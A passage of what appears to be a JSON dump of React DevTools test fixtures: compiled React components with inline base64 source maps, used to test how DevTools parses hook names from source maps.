    "path": "packages/react-devtools-shared/src/hooks/__tests__/__source__/__compiled__/inline/ComponentUsingHooksIndirectly.js",
    "content": "\"use strict\";\n\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.Component = Component;\n\nvar _react = _interopRequireWildcard(require(\"react\"));\n\nvar _jsxFileName = \"\";\n\nfunction _getRequireWildcardCache() { if (typeof WeakMap !== \"function\") return null; var cache = new WeakMap(); _getRequireWildcardCache = function () { return cache; }; return cache; }\n\nfunction _interopRequireWildcard(obj) { if (obj && obj.__esModule) { return obj; } if (obj === null || typeof obj !== \"object\" && typeof obj !== \"function\") { return { default: obj }; } var cache = _getRequireWildcardCache(); if (cache && cache.has(obj)) { return cache.get(obj); } var newObj = {}; var hasPropertyDescriptor = Object.defineProperty && Object.getOwnPropertyDescriptor; for (var key in obj) { if (Object.prototype.hasOwnProperty.call(obj, key)) { var desc = hasPropertyDescriptor ? Object.getOwnPropertyDescriptor(obj, key) : null; if (desc && (desc.get || desc.set)) { Object.defineProperty(newObj, key, desc); } else { newObj[key] = obj[key]; } } } newObj.default = obj; if (cache) { cache.set(obj, newObj); } return newObj; }\n\nfunction Component() {\n  const countState = (0, _react.useState)(0);\n  const count = countState[0];\n  const setCount = countState[1];\n  const darkMode = useIsDarkMode();\n  const [isDarkMode] = darkMode;\n  (0, _react.useEffect)(() => {// ...\n  }, []);\n\n  const handleClick = () => setCount(count + 1);\n\n  return /*#__PURE__*/_react.default.createElement(_react.default.Fragment, null, /*#__PURE__*/_react.default.createElement(\"div\", {\n    __source: {\n      fileName: _jsxFileName,\n      lineNumber: 28,\n      columnNumber: 7\n    }\n  }, \"Dark mode? \", isDarkMode), /*#__PURE__*/_react.default.createElement(\"div\", {\n    __source: {\n      fileName: _jsxFileName,\n      lineNumber: 29,\n      columnNumber: 7\n    }\n  }, \"Count: \", count), /*#__PURE__*/_react.default.createElement(\"button\", {\n    onClick: handleClick,\n    __source: {\n      fileName: _jsxFileName,\n      lineNumber: 30,\n      columnNumber: 7\n    }\n  }, \"Update count\"));\n}\n\nfunction useIsDarkMode() {\n  const darkModeState = (0, _react.useState)(false);\n  const [isDarkMode] = darkModeState;\n  (0, _react.useEffect)(function useEffectCreate() {// Here is where we may listen to a \"theme\" event...\n  }, []);\n  return [isDarkMode, () => {}];\n}\n//# sourceMappingURL=data:application/json;charset=utf-8;base64,eyJ2ZXJzaW9uIjozLCJzb3VyY2VzIjpbIkNvbXBvbmVudFVzaW5nSG9va3NJbmRpcmVjdGx5LmpzIl0sIm5hbWVzIjpbIkNvbXBvbmVudCIsImNvdW50U3RhdGUiLCJjb3VudCIsInNldENvdW50IiwiZGFya01vZGUiLCJ1c2VJc0RhcmtNb2RlIiwiaXNEYXJrTW9kZSIsImhhbmRsZUNsaWNrIiwiZGFya01vZGVTdGF0ZSIsInVzZUVmZmVjdENyZWF0ZSJdLCJtYXBwaW5ncyI6Ijs7Ozs7OztBQVNBOzs7Ozs7OztBQUVPLFNBQVNBLFNBQVQsR0FBcUI7QUFDMUIsUUFBTUMsVUFBVSxHQUFHLHFCQUFTLENBQVQsQ0FBbkI7QUFDQSxRQUFNQyxLQUFLLEdBQUdELFVBQVUsQ0FBQyxDQUFELENBQXhCO0FBQ0EsUUFBTUUsUUFBUSxHQUFHRixVQUFVLENBQUMsQ0FBRCxDQUEzQjtBQUVBLFFBQU1HLFFBQVEsR0FBR0MsYUFBYSxFQUE5QjtBQUNBLFFBQU0sQ0FBQ0MsVUFBRCxJQUFlRixRQUFyQjtBQUVBLHdCQUFVLE1BQU0sQ0FDZDtBQUNELEdBRkQsRUFFRyxFQUZIOztBQUlBLFFBQU1HLFdBQVcsR0FBRyxNQUFNSixRQUFRLENBQUNELEtBQUssR0FBRyxDQUFULENBQWxDOztBQUVBLHNCQUNFLHlFQUNFO0FBQUE7QUFBQTtBQUFBO0FBQUE7QUFBQTtBQUFBLG9CQUFpQkksVUFBakIsQ0FERixlQUVFO0FBQUE7QUFBQTtBQUFBO0FBQUE7QUFBQTtBQUFBLGdCQUFhSixLQUFiLENBRkYsZUFHRTtBQUFRLElBQUEsT0FBTyxFQUFFSyxXQUFqQjtBQUFBO0FBQUE7QUFBQTtBQUFBO0FBQUE7QUFBQSxvQkFIRixDQURGO0FBT0Q7O0FBRUQsU0FBU0YsYUFBVCxHQUF5QjtBQUN2QixRQUFNRyxhQUFhLEdBQUcscUJBQVMsS0FBVCxDQUF0QjtBQUNBLFFBQU0sQ0FBQ0YsVUFBRCxJQUFlRSxhQUFyQjtBQUVBLHdCQUFVLFNBQVNDLGVBQVQsR0FBMkIsQ0FDbkM7QUFDRCxHQUZELEVBRUcsRUFGSDtBQUlBLFNBQU8sQ0FBQ0gsVUFBRCxFQUFhLE1BQU0sQ0FBRSxDQUFyQixDQUFQO0FBQ0QiLCJzb3VyY2VzQ29udGVudCI6WyIvKipcbiAqIENvcHlyaWdodCAoYykgRmFjZWJvb2ssIEluYy4gYW5kIGl0cyBhZmZpbGlhdGVzLlxuICpcbiAqIFRoaXMgc291cmNlIGNvZGUgaXMgbGljZW5zZWQgdW5kZXIgdGhlIE1JVCBsaWNlbnNlIGZvdW5kIGluIHRoZVxuICogTElDRU5TRSBmaWxlIGluIHRoZSByb290IGRpcmVjdG9yeSBvZiB0aGlzIHNvdXJjZSB0cmVlLlxuICpcbiAqIEBmbG93XG4gKi9cblxuaW1wb3J0IFJlYWN0LCB7dXNlRWZmZWN0LCB1c2VTdGF0ZX0gZnJvbSAncmVhY3QnO1xuXG5leHBvcnQgZnVuY3Rpb24gQ29tcG9uZW50KCkge1xuICBjb25zdCBjb3VudFN0YXRlID0gdXNlU3RhdGUoMCk7XG4gIGNvbnN0IGNvdW50ID0gY291bnRTdGF0ZVswXTtcbiAgY29uc3Qgc2V0Q291bnQgPSBjb3VudFN0YXRlWzFdO1xuXG4gIGNvbnN0IGRhcmtNb2RlID0gdXNlSXNEYXJrTW9kZSgpO1xuICBjb25zdCBbaXNEYXJrTW9kZV0gPSBkYXJrTW9kZTtcblxuICB1c2VFZmZlY3QoKCkgPT4ge1xuICAgIC8vIC4uLlxuICB9LCBbXSk7XG5cbiAgY29uc3QgaGFuZGxlQ2xpY2sgPSAoKSA9PiBzZXRDb3VudChjb3VudCArIDEpO1xuXG4gIHJldHVybiAoXG4gICAgPD5cbiAgICAgIDxkaXY+RGFyayBtb2RlPyB7aXNEYXJrTW9kZX08L2Rpdj5cbiAgICAgIDxkaXY+Q291bnQ6IHtjb3VudH08L2Rpdj5cbiAgICAgIDxidXR0b24gb25DbGljaz17aGFuZGxlQ2xpY2t9PlVwZGF0ZSBjb3VudDwvYnV0dG9uPlxuICAgIDwvPlxuICApO1xufVxuXG5mdW5jdGlvbiB1c2VJc0RhcmtNb2RlKCkge1xuICBjb25zdCBkYXJrTW9kZVN0YXRlID0gdXNlU3RhdGUoZmFsc2UpO1xuICBjb25zdCBbaXNEYXJrTW9kZV0gPSBkYXJrTW9kZVN0YXRlO1xuXG4gIHVzZUVmZmVjdChmdW5jdGlvbiB1c2VFZmZlY3RDcmVhdGUoKSB7XG4gICAgLy8gSGVyZSBpcyB3aGVyZSB3ZSBtYXkgbGlzdGVuIHRvIGEgXCJ0aGVtZVwiIGV2ZW50Li4uXG4gIH0sIFtdKTtcblxuICByZXR1cm4gW2lzRGFya01vZGUsICgpID0+IHt9XTtcbn1cbiJdfQ=="
  },
  {
    "path": "packages/react-devtools-shared/src/hooks/__tests__/__source__/__compiled__/inline/ComponentWithCustomHook.js",
    "content": "\"use strict\";\n\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.Component = Component;\n\nvar _react = _interopRequireWildcard(require(\"react\"));\n\nvar _jsxFileName = \"\";\n\nfunction _getRequireWildcardCache() { if (typeof WeakMap !== \"function\") return null; var cache = new WeakMap(); _getRequireWildcardCache = function () { return cache; }; return cache; }\n\nfunction _interopRequireWildcard(obj) { if (obj && obj.__esModule) { return obj; } if (obj === null || typeof obj !== \"object\" && typeof obj !== \"function\") { return { default: obj }; } var cache = _getRequireWildcardCache(); if (cache && cache.has(obj)) { return cache.get(obj); } var newObj = {}; var hasPropertyDescriptor = Object.defineProperty && Object.getOwnPropertyDescriptor; for (var key in obj) { if (Object.prototype.hasOwnProperty.call(obj, key)) { var desc = hasPropertyDescriptor ? Object.getOwnPropertyDescriptor(obj, key) : null; if (desc && (desc.get || desc.set)) { Object.defineProperty(newObj, key, desc); } else { newObj[key] = obj[key]; } } } newObj.default = obj; if (cache) { cache.set(obj, newObj); } return newObj; }\n\nfunction Component() {\n  const [count, setCount] = (0, _react.useState)(0);\n  const isDarkMode = useIsDarkMode();\n  const {\n    foo\n  } = useFoo();\n  (0, _react.useEffect)(() => {// ...\n  }, []);\n\n  const handleClick = () => setCount(count + 1);\n\n  return /*#__PURE__*/_react.default.createElement(_react.default.Fragment, null, /*#__PURE__*/_react.default.createElement(\"div\", {\n    __source: {\n      fileName: _jsxFileName,\n      lineNumber: 25,\n      columnNumber: 7\n    }\n  }, \"Dark mode? \", isDarkMode), /*#__PURE__*/_react.default.createElement(\"div\", {\n    __source: {\n      fileName: _jsxFileName,\n      lineNumber: 26,\n      columnNumber: 7\n    }\n  }, \"Count: \", count), /*#__PURE__*/_react.default.createElement(\"div\", {\n    __source: {\n      fileName: _jsxFileName,\n      lineNumber: 27,\n      columnNumber: 7\n    }\n  }, \"Foo: \", foo), /*#__PURE__*/_react.default.createElement(\"button\", {\n    onClick: handleClick,\n    __source: {\n      fileName: _jsxFileName,\n      lineNumber: 28,\n      columnNumber: 7\n    }\n  }, \"Update count\"));\n}\n\nfunction useIsDarkMode() {\n  const [isDarkMode] = (0, _react.useState)(false);\n  (0, _react.useEffect)(function useEffectCreate() {// Here is where we may listen to a \"theme\" event...\n  }, []);\n  return isDarkMode;\n}\n\nfunction useFoo() {\n  (0, _react.useDebugValue)('foo');\n  return {\n    foo: true\n  };\n}\n//# sourceMappingURL=data:application/json;charset=utf-8;base64,eyJ2ZXJzaW9uIjozLCJzb3VyY2VzIjpbIkNvbXBvbmVudFdpdGhDdXN0b21Ib29rLmpzIl0sIm5hbWVzIjpbIkNvbXBvbmVudCIsImNvdW50Iiwic2V0Q291bnQiLCJpc0RhcmtNb2RlIiwidXNlSXNEYXJrTW9kZSIsImZvbyIsInVzZUZvbyIsImhhbmRsZUNsaWNrIiwidXNlRWZmZWN0Q3JlYXRlIl0sIm1hcHBpbmdzIjoiOzs7Ozs7O0FBU0E7Ozs7Ozs7O0FBRU8sU0FBU0EsU0FBVCxHQUFxQjtBQUMxQixRQUFNLENBQUNDLEtBQUQsRUFBUUMsUUFBUixJQUFvQixxQkFBUyxDQUFULENBQTFCO0FBQ0EsUUFBTUMsVUFBVSxHQUFHQyxhQUFhLEVBQWhDO0FBQ0EsUUFBTTtBQUFDQyxJQUFBQTtBQUFELE1BQVFDLE1BQU0sRUFBcEI7QUFFQSx3QkFBVSxNQUFNLENBQ2Q7QUFDRCxHQUZELEVBRUcsRUFGSDs7QUFJQSxRQUFNQyxXQUFXLEdBQUcsTUFBTUwsUUFBUSxDQUFDRCxLQUFLLEdBQUcsQ0FBVCxDQUFsQzs7QUFFQSxzQkFDRSx5RUFDRTtBQUFBO0FBQUE7QUFBQTtBQUFBO0FBQUE7QUFBQSxvQkFBaUJFLFVBQWpCLENBREYsZUFFRTtBQUFBO0FBQUE7QUFBQTtBQUFBO0FBQUE7QUFBQSxnQkFBYUYsS0FBYixDQUZGLGVBR0U7QUFBQTtBQUFBO0FBQUE7QUFBQTtBQUFBO0FBQUEsY0FBV0ksR0FBWCxDQUhGLGVBSUU7QUFBUSxJQUFBLE9BQU8sRUFBRUUsV0FBakI7QUFBQTtBQUFBO0FBQUE7QUFBQTtBQUFBO0FBQUEsb0JBSkYsQ0FERjtBQVFEOztBQUVELFNBQVNILGFBQVQsR0FBeUI7QUFDdkIsUUFBTSxDQUFDRCxVQUFELElBQWUscUJBQVMsS0FBVCxDQUFyQjtBQUVBLHdCQUFVLFNBQVNLLGVBQVQsR0FBMkIsQ0FDbkM7QUFDRCxHQUZELEVBRUcsRUFGSDtBQUlBLFNBQU9MLFVBQVA7QUFDRDs7QUFFRCxTQUFTRyxNQUFULEdBQWtCO0FBQ2hCLDRCQUFjLEtBQWQ7QUFDQSxTQUFPO0FBQUNELElBQUFBLEdBQUcsRUFBRTtBQUFOLEdBQVA7QUFDRCIsInNvdXJjZXNDb250ZW50IjpbIi8qKlxuICogQ29weXJpZ2h0IChjKSBGYWNlYm9vaywgSW5jLiBhbmQgaXRzIGFmZmlsaWF0ZXMuXG4gKlxuICogVGhpcyBzb3VyY2UgY29kZSBpcyBsaWNlbnNlZCB1bmRlciB0aGUgTUlUIGxpY2Vuc2UgZm91bmQgaW4gdGhlXG4gKiBMSUNFTlNFIGZpbGUgaW4gdGhlIHJvb3QgZGlyZWN0b3J5IG9mIHRoaXMgc291cmNlIHRyZWUuXG4gKlxuICogQGZsb3dcbiAqL1xuXG5pbXBvcnQgUmVhY3QsIHt1c2VEZWJ1Z1ZhbHVlLCB1c2VFZmZlY3QsIHVzZVN0YXRlfSBmcm9tICdyZWFjdCc7XG5cbmV4cG9ydCBmdW5jdGlvbiBDb21wb25lbnQoKSB7XG4gIGNvbnN0IFtjb3VudCwgc2V0Q291bnRdID0gdXNlU3RhdGUoMCk7XG4gIGNvbnN0IGlzRGFya01vZGUgPSB1c2VJc0RhcmtNb2RlKCk7XG4gIGNvbnN0IHtmb299ID0gdXNlRm9vKCk7XG5cbiAgdXNlRWZmZWN0KCgpID0+IHtcbiAgICAvLyAuLi5cbiAgfSwgW10pO1xuXG4gIGNvbnN0IGhhbmRsZUNsaWNrID0gKCkgPT4gc2V0Q291bnQoY291bnQgKyAxKTtcblxuICByZXR1cm4gKFxuICAgIDw+XG4gICAgICA8ZGl2PkRhcmsgbW9kZT8ge2lzRGFya01vZGV9PC9kaXY+XG4gICAgICA8ZGl2PkNvdW50OiB7Y291bnR9PC9kaXY+XG4gICAgICA8ZGl2PkZvbzoge2Zvb308L2Rpdj5cbiAgICAgIDxidXR0b24gb25DbGljaz17aGFuZGxlQ2xpY2t9PlVwZGF0ZSBjb3VudDwvYnV0dG9uPlxuICAgIDwvPlxuICApO1xufVxuXG5mdW5jdGlvbiB1c2VJc0RhcmtNb2RlKCkge1xuICBjb25zdCBbaXNEYXJrTW9kZV0gPSB1c2VTdGF0ZShmYWxzZSk7XG5cbiAgdXNlRWZmZWN0KGZ1bmN0aW9uIHVzZUVmZmVjdENyZWF0ZSgpIHtcbiAgICAvLyBIZXJlIGlzIHdoZXJlIHdlIG1heSBsaXN0ZW4gdG8gYSBcInRoZW1lXCIgZXZlbnQuLi5cbiAgfSwgW10pO1xuXG4gIHJldHVybiBpc0RhcmtNb2RlO1xufVxuXG5mdW5jdGlvbiB1c2VGb28oKSB7XG4gIHVzZURlYnVnVmFsdWUoJ2ZvbycpO1xuICByZXR1cm4ge2ZvbzogdHJ1ZX07XG59XG4iXX0="
  },
  {
    "path": "packages/react-devtools-shared/src/hooks/__tests__/__source__/__compiled__/inline/ComponentWithExternalCustomHooks.js",
    "content": "\"use strict\";\n\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.Component = Component;\n\nvar _react = _interopRequireDefault(require(\"react\"));\n\nvar _useTheme = _interopRequireDefault(require(\"./useTheme\"));\n\nvar _jsxFileName = \"\";\n\nfunction _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { default: obj }; }\n\nfunction Component() {\n  const theme = (0, _useTheme.default)();\n  return /*#__PURE__*/_react.default.createElement(\"div\", {\n    __source: {\n      fileName: _jsxFileName,\n      lineNumber: 16,\n      columnNumber: 10\n    }\n  }, \"theme: \", theme);\n}\n//# sourceMappingURL=data:application/json;charset=utf-8;base64,eyJ2ZXJzaW9uIjozLCJzb3VyY2VzIjpbIkNvbXBvbmVudFdpdGhFeHRlcm5hbEN1c3RvbUhvb2tzLmpzIl0sIm5hbWVzIjpbIkNvbXBvbmVudCIsInRoZW1lIl0sIm1hcHBpbmdzIjoiOzs7Ozs7O0FBU0E7O0FBQ0E7Ozs7OztBQUVPLFNBQVNBLFNBQVQsR0FBcUI7QUFDMUIsUUFBTUMsS0FBSyxHQUFHLHdCQUFkO0FBRUEsc0JBQU87QUFBQTtBQUFBO0FBQUE7QUFBQTtBQUFBO0FBQUEsZ0JBQWFBLEtBQWIsQ0FBUDtBQUNEIiwic291cmNlc0NvbnRlbnQiOlsiLyoqXG4gKiBDb3B5cmlnaHQgKGMpIEZhY2Vib29rLCBJbmMuIGFuZCBpdHMgYWZmaWxpYXRlcy5cbiAqXG4gKiBUaGlzIHNvdXJjZSBjb2RlIGlzIGxpY2Vuc2VkIHVuZGVyIHRoZSBNSVQgbGljZW5zZSBmb3VuZCBpbiB0aGVcbiAqIExJQ0VOU0UgZmlsZSBpbiB0aGUgcm9vdCBkaXJlY3Rvcnkgb2YgdGhpcyBzb3VyY2UgdHJlZS5cbiAqXG4gKiBAZmxvd1xuICovXG5cbmltcG9ydCBSZWFjdCBmcm9tICdyZWFjdCc7XG5pbXBvcnQgdXNlVGhlbWUgZnJvbSAnLi91c2VUaGVtZSc7XG5cbmV4cG9ydCBmdW5jdGlvbiBDb21wb25lbnQoKSB7XG4gIGNvbnN0IHRoZW1lID0gdXNlVGhlbWUoKTtcblxuICByZXR1cm4gPGRpdj50aGVtZToge3RoZW1lfTwvZGl2Pjtcbn1cbiJdfQ=="
  },
  {
    "path": "packages/react-devtools-shared/src/hooks/__tests__/__source__/__compiled__/inline/ComponentWithMultipleHooksPerLine.js",
    "content": "\"use strict\";\n\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.Component = Component;\n\nvar _react = require(\"react\");\n\n/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * \n */\nconst A = /*#__PURE__*/(0, _react.createContext)(1);\nconst B = /*#__PURE__*/(0, _react.createContext)(2);\n\nfunction Component() {\n  const a = (0, _react.useContext)(A);\n  const b = (0, _react.useContext)(B); // prettier-ignore\n\n  const c = (0, _react.useContext)(A),\n        d = (0, _react.useContext)(B); // eslint-disable-line one-var\n\n  return a + b + c + d;\n}\n//# sourceMappingURL=data:application/json;charset=utf-8;base64,eyJ2ZXJzaW9uIjozLCJzb3VyY2VzIjpbIkNvbXBvbmVudFdpdGhNdWx0aXBsZUhvb2tzUGVyTGluZS5qcyJdLCJuYW1lcyI6WyJBIiwiQiIsIkNvbXBvbmVudCIsImEiLCJiIiwiYyIsImQiXSwibWFwcGluZ3MiOiI7Ozs7Ozs7QUFTQTs7QUFUQTs7Ozs7Ozs7QUFXQSxNQUFNQSxDQUFDLGdCQUFHLDBCQUFjLENBQWQsQ0FBVjtBQUNBLE1BQU1DLENBQUMsZ0JBQUcsMEJBQWMsQ0FBZCxDQUFWOztBQUVPLFNBQVNDLFNBQVQsR0FBcUI7QUFDMUIsUUFBTUMsQ0FBQyxHQUFHLHVCQUFXSCxDQUFYLENBQVY7QUFDQSxRQUFNSSxDQUFDLEdBQUcsdUJBQVdILENBQVgsQ0FBVixDQUYwQixDQUkxQjs7QUFDQSxRQUFNSSxDQUFDLEdBQUcsdUJBQVdMLENBQVgsQ0FBVjtBQUFBLFFBQXlCTSxDQUFDLEdBQUcsdUJBQVdMLENBQVgsQ0FBN0IsQ0FMMEIsQ0FLa0I7O0FBRTVDLFNBQU9FLENBQUMsR0FBR0MsQ0FBSixHQUFRQyxDQUFSLEdBQVlDLENBQW5CO0FBQ0QiLCJzb3VyY2VzQ29udGVudCI6WyIvKipcbiAqIENvcHlyaWdodCAoYykgRmFjZWJvb2ssIEluYy4gYW5kIGl0cyBhZmZpbGlhdGVzLlxuICpcbiAqIFRoaXMgc291cmNlIGNvZGUgaXMgbGljZW5zZWQgdW5kZXIgdGhlIE1JVCBsaWNlbnNlIGZvdW5kIGluIHRoZVxuICogTElDRU5TRSBmaWxlIGluIHRoZSByb290IGRpcmVjdG9yeSBvZiB0aGlzIHNvdXJjZSB0cmVlLlxuICpcbiAqIEBmbG93XG4gKi9cblxuaW1wb3J0IHtjcmVhdGVDb250ZXh0LCB1c2VDb250ZXh0fSBmcm9tICdyZWFjdCc7XG5cbmNvbnN0IEEgPSBjcmVhdGVDb250ZXh0KDEpO1xuY29uc3QgQiA9IGNyZWF0ZUNvbnRleHQoMik7XG5cbmV4cG9ydCBmdW5jdGlvbiBDb21wb25lbnQoKSB7XG4gIGNvbnN0IGEgPSB1c2VDb250ZXh0KEEpO1xuICBjb25zdCBiID0gdXNlQ29udGV4dChCKTtcblxuICAvLyBwcmV0dGllci1pZ25vcmVcbiAgY29uc3QgYyA9IHVzZUNvbnRleHQoQSksIGQgPSB1c2VDb250ZXh0KEIpOyAvLyBlc2xpbnQtZGlzYWJsZS1saW5lIG9uZS12YXJcblxuICByZXR1cm4gYSArIGIgKyBjICsgZDtcbn1cbiJdfQ=="
  },
  {
    "path": "packages/react-devtools-shared/src/hooks/__tests__/__source__/__compiled__/inline/ComponentWithNestedHooks.js",
    "content": "\"use strict\";\n\n/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * \n */\nconst {\n  useMemo,\n  useState\n} = require('react');\n\nfunction Component(props) {\n  const InnerComponent = useMemo(() => () => {\n    const [state] = useState(0);\n    return state;\n  });\n  props.callback(InnerComponent);\n  return null;\n}\n\nmodule.exports = {\n  Component\n};\n//# sourceMappingURL=data:application/json;charset=utf-8;base64,eyJ2ZXJzaW9uIjozLCJzb3VyY2VzIjpbIkNvbXBvbmVudFdpdGhOZXN0ZWRIb29rcy5qcyJdLCJuYW1lcyI6WyJ1c2VNZW1vIiwidXNlU3RhdGUiLCJyZXF1aXJlIiwiQ29tcG9uZW50IiwicHJvcHMiLCJJbm5lckNvbXBvbmVudCIsInN0YXRlIiwiY2FsbGJhY2siLCJtb2R1bGUiLCJleHBvcnRzIl0sIm1hcHBpbmdzIjoiOztBQUFBOzs7Ozs7OztBQVFBLE1BQU07QUFBQ0EsRUFBQUEsT0FBRDtBQUFVQyxFQUFBQTtBQUFWLElBQXNCQyxPQUFPLENBQUMsT0FBRCxDQUFuQzs7QUFFQSxTQUFTQyxTQUFULENBQW1CQyxLQUFuQixFQUEwQjtBQUN4QixRQUFNQyxjQUFjLEdBQUdMLE9BQU8sQ0FBQyxNQUFNLE1BQU07QUFDekMsVUFBTSxDQUFDTSxLQUFELElBQVVMLFFBQVEsQ0FBQyxDQUFELENBQXhCO0FBRUEsV0FBT0ssS0FBUDtBQUNELEdBSjZCLENBQTlCO0FBS0FGLEVBQUFBLEtBQUssQ0FBQ0csUUFBTixDQUFlRixjQUFmO0FBRUEsU0FBTyxJQUFQO0FBQ0Q7O0FBRURHLE1BQU0sQ0FBQ0MsT0FBUCxHQUFpQjtBQUFDTixFQUFBQTtBQUFELENBQWpCIiwic291cmNlc0NvbnRlbnQiOlsiLyoqXG4gKiBDb3B5cmlnaHQgKGMpIEZhY2Vib29rLCBJbmMuIGFuZCBpdHMgYWZmaWxpYXRlcy5cbiAqXG4gKiBUaGlzIHNvdXJjZSBjb2RlIGlzIGxpY2Vuc2VkIHVuZGVyIHRoZSBNSVQgbGljZW5zZSBmb3VuZCBpbiB0aGVcbiAqIExJQ0VOU0UgZmlsZSBpbiB0aGUgcm9vdCBkaXJlY3Rvcnkgb2YgdGhpcyBzb3VyY2UgdHJlZS5cbiAqXG4gKiBAZmxvd1xuICovXG5jb25zdCB7dXNlTWVtbywgdXNlU3RhdGV9ID0gcmVxdWlyZSgncmVhY3QnKTtcblxuZnVuY3Rpb24gQ29tcG9uZW50KHByb3BzKSB7XG4gIGNvbnN0IElubmVyQ29tcG9uZW50ID0gdXNlTWVtbygoKSA9PiAoKSA9PiB7XG4gICAgY29uc3QgW3N0YXRlXSA9IHVzZVN0YXRlKDApO1xuXG4gICAgcmV0dXJuIHN0YXRlO1xuICB9KTtcbiAgcHJvcHMuY2FsbGJhY2soSW5uZXJDb21wb25lbnQpO1xuXG4gIHJldHVybiBudWxsO1xufVxuXG5tb2R1bGUuZXhwb3J0cyA9IHtDb21wb25lbnR9O1xuIl19"
  },
  {
    "path": "packages/react-devtools-shared/src/hooks/__tests__/__source__/__compiled__/inline/ContainingStringSourceMappingURL.js",
    "content": "\"use strict\";\n\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.Component = Component;\n\nvar _react = _interopRequireWildcard(require(\"react\"));\n\nvar _jsxFileName = \"\";\n\nfunction _getRequireWildcardCache() { if (typeof WeakMap !== \"function\") return null; var cache = new WeakMap(); _getRequireWildcardCache = function () { return cache; }; return cache; }\n\nfunction _interopRequireWildcard(obj) { if (obj && obj.__esModule) { return obj; } if (obj === null || typeof obj !== \"object\" && typeof obj !== \"function\") { return { default: obj }; } var cache = _getRequireWildcardCache(); if (cache && cache.has(obj)) { return cache.get(obj); } var newObj = {}; var hasPropertyDescriptor = Object.defineProperty && Object.getOwnPropertyDescriptor; for (var key in obj) { if (Object.prototype.hasOwnProperty.call(obj, key)) { var desc = hasPropertyDescriptor ? Object.getOwnPropertyDescriptor(obj, key) : null; if (desc && (desc.get || desc.set)) { Object.defineProperty(newObj, key, desc); } else { newObj[key] = obj[key]; } } } newObj.default = obj; if (cache) { cache.set(obj, newObj); } return newObj; }\n\n// ?sourceMappingURL=([^\\s'\"]+)/gm\nfunction Component() {\n  const [count, setCount] = (0, _react.useState)(0);\n  return /*#__PURE__*/_react.default.createElement(\"div\", {\n    __source: {\n      fileName: _jsxFileName,\n      lineNumber: 18,\n      columnNumber: 5\n    }\n  }, /*#__PURE__*/_react.default.createElement(\"p\", {\n    __source: {\n      fileName: _jsxFileName,\n      lineNumber: 19,\n      columnNumber: 7\n    }\n  }, \"You clicked \", count, \" times\"), /*#__PURE__*/_react.default.createElement(\"button\", {\n    onClick: () => setCount(count + 1),\n    __source: {\n      fileName: _jsxFileName,\n      lineNumber: 20,\n      columnNumber: 7\n    }\n  }, \"Click me\"));\n}\n//# sourceMappingURL=data:application/json;charset=utf-8;base64,eyJ2ZXJzaW9uIjozLCJzb3VyY2VzIjpbIkNvbnRhaW5pbmdTdHJpbmdTb3VyY2VNYXBwaW5nVVJMLmpzIl0sIm5hbWVzIjpbIkNvbXBvbmVudCIsImNvdW50Iiwic2V0Q291bnQiXSwibWFwcGluZ3MiOiI7Ozs7Ozs7QUFTQTs7Ozs7Ozs7QUFFQTtBQUVPLFNBQVNBLFNBQVQsR0FBcUI7QUFDMUIsUUFBTSxDQUFDQyxLQUFELEVBQVFDLFFBQVIsSUFBb0IscUJBQVMsQ0FBVCxDQUExQjtBQUVBLHNCQUNFO0FBQUE7QUFBQTtBQUFBO0FBQUE7QUFBQTtBQUFBLGtCQUNFO0FBQUE7QUFBQTtBQUFBO0FBQUE7QUFBQTtBQUFBLHFCQUFnQkQsS0FBaEIsV0FERixlQUVFO0FBQVEsSUFBQSxPQUFPLEVBQUUsTUFBTUMsUUFBUSxDQUFDRCxLQUFLLEdBQUcsQ0FBVCxDQUEvQjtBQUFBO0FBQUE7QUFBQTtBQUFBO0FBQUE7QUFBQSxnQkFGRixDQURGO0FBTUQiLCJzb3VyY2VzQ29udGVudCI6WyIvKipcbiAqIENvcHlyaWdodCAoYykgRmFjZWJvb2ssIEluYy4gYW5kIGl0cyBhZmZpbGlhdGVzLlxuICpcbiAqIFRoaXMgc291cmNlIGNvZGUgaXMgbGljZW5zZWQgdW5kZXIgdGhlIE1JVCBsaWNlbnNlIGZvdW5kIGluIHRoZVxuICogTElDRU5TRSBmaWxlIGluIHRoZSByb290IGRpcmVjdG9yeSBvZiB0aGlzIHNvdXJjZSB0cmVlLlxuICpcbiAqIEBmbG93XG4gKi9cblxuaW1wb3J0IFJlYWN0LCB7dXNlU3RhdGV9IGZyb20gJ3JlYWN0JztcblxuLy8gP3NvdXJjZU1hcHBpbmdVUkw9KFteXFxzJ1wiXSspL2dtXG5cbmV4cG9ydCBmdW5jdGlvbiBDb21wb25lbnQoKSB7XG4gIGNvbnN0IFtjb3VudCwgc2V0Q291bnRdID0gdXNlU3RhdGUoMCk7XG5cbiAgcmV0dXJuIChcbiAgICA8ZGl2PlxuICAgICAgPHA+WW91IGNsaWNrZWQge2NvdW50fSB0aW1lczwvcD5cbiAgICAgIDxidXR0b24gb25DbGljaz17KCkgPT4gc2V0Q291bnQoY291bnQgKyAxKX0+Q2xpY2sgbWU8L2J1dHRvbj5cbiAgICA8L2Rpdj5cbiAgKTtcbn1cbiJdfQ=="
  },
  {
    "path": "packages/react-devtools-shared/src/hooks/__tests__/__source__/__compiled__/inline/Example.js",
    "content": "\"use strict\";\n\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.Component = Component;\n\nvar _react = _interopRequireWildcard(require(\"react\"));\n\nvar _jsxFileName = \"\";\n\nfunction _getRequireWildcardCache() { if (typeof WeakMap !== \"function\") return null; var cache = new WeakMap(); _getRequireWildcardCache = function () { return cache; }; return cache; }\n\nfunction _interopRequireWildcard(obj) { if (obj && obj.__esModule) { return obj; } if (obj === null || typeof obj !== \"object\" && typeof obj !== \"function\") { return { default: obj }; } var cache = _getRequireWildcardCache(); if (cache && cache.has(obj)) { return cache.get(obj); } var newObj = {}; var hasPropertyDescriptor = Object.defineProperty && Object.getOwnPropertyDescriptor; for (var key in obj) { if (Object.prototype.hasOwnProperty.call(obj, key)) { var desc = hasPropertyDescriptor ? Object.getOwnPropertyDescriptor(obj, key) : null; if (desc && (desc.get || 